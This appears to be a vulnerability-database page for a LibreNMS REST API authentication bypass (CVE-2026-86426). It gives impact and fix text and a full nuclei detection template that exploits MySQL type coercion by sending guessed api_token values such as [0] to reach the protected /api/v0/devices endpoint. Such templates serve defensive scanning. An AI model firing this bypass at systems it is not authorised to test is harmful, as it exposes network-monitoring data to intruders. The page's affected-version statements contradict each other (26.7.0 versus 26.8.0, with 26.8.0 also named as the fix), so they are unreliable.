HexBrain

Browse / CVEs / CVE-2026-86426

CVE-2026-86426· librenms / librenms· CWE-287

LibreNMS <= 26.7.0 - Unauthenticated API Access

criticalseverity
9.2CVSS score
4.4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

LibreNMS <= 26.8.0 contains an authentication bypass caused by MySQL type coercion in the REST API token validation, letting unauthenticated attackers access protected endpoints and execute remote code via alert templates.

Impact

Unauthenticated attackers can access protected API endpoints and execute remote code, leading to full system compromise.

Fix

Update to version 26.8.0 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(tolower(body), "librenms")
Send: GET /api/v0/devices
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "\"status\"", "\"ok\"", "\"devices\"")

Run it with nuclei: nuclei -id CVE-2026-86426 -u <target>

The full check
id: CVE-2026-86426

info:
  name: LibreNMS <= 26.7.0 - Unauthenticated API Access
  author: 0x_Akoko
  severity: critical
  description: |
    LibreNMS <= 26.8.0 contains an authentication bypass caused by MySQL type coercion in the REST API token validation, letting unauthenticated attackers access protected endpoints and execute remote code via alert templates.
  impact: |
    Unauthenticated attackers can access protected API endpoints and execute remote code, leading to full system compromise.
  remediation: |
    Update to version 26.8.0 or later.
  reference:
    - https://github.com/librenms/librenms/security/advisories/GHSA-cvq8-gqfq-3mvg
  classification:
    cvss-score: 9.2
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 11
    vendor: librenms
    product: librenms
    shodan-query: http.title:"LibreNMS"
    fofa-query: title="LibreNMS"
  tags: librenms,auth-bypass,type-confusion,api,unauth,vkev

flow: |
  if (http(1)) {
    var guesses = [[0], 1, 2, 3, 4, 5, 6, 7, 8, 9];
    for (var i = 0; i < guesses.length; i++) {
      set("guess", JSON.stringify(guesses[i]));
      if (http(2)) break;
    }
  }

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "librenms")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v0/devices HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"api_token":{{guess}}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"status\"", "\"ok\"", "\"devices\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from